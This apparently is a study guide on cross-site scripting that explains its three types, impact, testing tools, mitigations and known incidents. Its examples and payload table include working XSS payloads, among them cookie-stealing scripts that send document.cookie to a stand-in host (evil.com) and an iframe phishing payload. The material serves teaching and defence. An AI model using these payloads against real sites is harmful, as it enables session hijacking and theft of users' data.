# Cross-Site Scripting (XSS):

That allows attackers to **inject malicious Script** into web pages.

# Types of XSS

## Stored XSS (Persistent)

**Definition**: The malicious script is stored on the target server (e.g., in a database) and served to users.

**Example:** Attacker posts <script>document.location='https://evil.com/cookie?'+document.cookie</script> in a comment section.

**Impact:** Every visitor to that page executes the attacker's code.

**Mitigation:** Output encode stored data, sanitize input, use CSP.

## 2. Reflected XSS (Non-Persistent):

The malicious script is reflected off a web server, typically via a URL or form input, and immediately sent back to the user's browser. Not stored.

Example: [https://site.com/search?q=<script>alert(1)</script](https://site.com/search?q=%3cscript%3ealert(1)%3c/script)>

Server reflects q into HTML without sanitization.

**Impact**: Executed when victim clicks a malicious link.

**Mitigation:** Proper HTML encoding, validate/escape query parameters.

## 3. DOM-Based XSS:

The vulnerability exists in the client-side code rather than the server-side code. The malicious payload is never sent to the server; instead, it is processed by the browser and executed as part of the Document Object Model (DOM).

Example: document.getElementById("output").innerHTML = location.hash.substring(1);

URL: #<img src=x onerror=alert(1)>

**Impact** | Payload executed client-side by vulnerable DOM handling.

**Mitigation** | Avoid innerHTML, use textContent, sanitize with DOMPurify.

# Impact

| Impact Type | Description |
| --- | --- |
| Session Hijacking | Steal cookies or JWT tokens |
| Data Theft | Exfiltrate sensitive data from forms |
| Phishing / UI Redress | Fake login forms or overlays |
| Brand Reputation Damage | Defaced site, trust lost |
| Stored Payloads in CDN | Persistent attacks with broad reach |

# Payload Examples

| Context | Payload |
| --- | --- |
| Basic Alert | <script>alert(1)</script> |
| Cookie Stealing | <script>fetch('https://evil.com?c='+document.cookie)</script> |
| Image-Based XSS | <img src=x onerror=alert('XSS')> |
| Event Handler | <button onclick=alert(1)>Click</button> |
| Iframe Phishing | <iframe src="https://evil.com/login.html"></iframe> |
| DOM-Based | #<script>alert(1)</script> for reflected hash in JS |

# Testing Techniques

| Method | Tool | What To Look For |
| --- | --- | --- |
| Manual Testing | Burp Suite / Browser | Try injecting payloads in inputs, URLs, headers |
| Contextual Testing | Burp Suite → Repeater | Observe how input is reflected: HTML, JS, URL, etc. |
| DOM Inspection | Browser DevTools | Check usage of innerHTML, eval, etc. |
| JavaScript Fuzzing | XSS payload wordlists | Common payloads across input fields |
| Mobile Testing | Charles Proxy | Modify API/webview responses to test for XSS in hybrid apps |

# Mitigation

**1. Input Validation (But not enough alone)**

* Reject disallowed characters (e.g., <, >, ")
* Allowlist acceptable inputs (e.g., name, email formats)

**🔒 2. Output Encoding / Escaping ✅ CRITICAL**

| Context | Encode |
| --- | --- |
| HTML body | &lt;, &gt;, &amp; |
| JavaScript | Escape quotes, backslashes |
| HTML attributes | Escape ", ', > |
| URL parameters | Use encodeURIComponent() |

Use libraries:

OWASP Java Encoder

Python: html.escape()

JavaScript: DOMPurify (DOM-based XSS prevention)

1. **Use Security Headers**

| Header | Purpose |
| --- | --- |
| Content-Security-Policy | Prevent script execution from untrusted sources |
| X-XSS-Protection: 1; mode=block | Browser-level (legacy) |
| X-Content-Type-Options: nosniff | Prevent MIME-type confusion |

1. **Avoid Dangerous JS Functions**

* innerHTML
* document.write
* eval, Function()  
  Use:
* textContent, createElement, appendChild

# Tools for XSS Testing

| Tool | Use |
| --- | --- |
| Burp Suite (Manual + Scanner) | Best for reflected/stored testing |
| OWASP ZAP | Active scan with XSS detection |
| XSStrike | Advanced XSS fuzzing (context-aware) |
| XSS Hunter (now discontinued) | Out-of-band XSS testing |
| DOM Invader (PortSwigger) | DOM-based XSS detection |

# Real-World XSS Attacks

| Company | Description |
| --- | --- |
| Google (multiple) | DOM-based XSS in Google Docs |
| Yahoo (2014) | XSS in mail, rewarded with $10k |
| British Airways (2018) | Script injection → PII/card data theft |
| WordPress plugins | Common vector for stored XSS via comments, metadata |

# Points

“XSS is not about code injection into the server — it’s about **tricking the browser** into executing malicious scripts **in a trusted origin**.”

“Context is key — **output encoding must match the rendering context (HTML, JS, attribute)**.”

“Modern defenses like **CSP and DOMPurify** reduce DOM XSS exposure.”

“Automated scanners help, but **manual testing is essential** for contextual and DOM-based vulnerabilities.”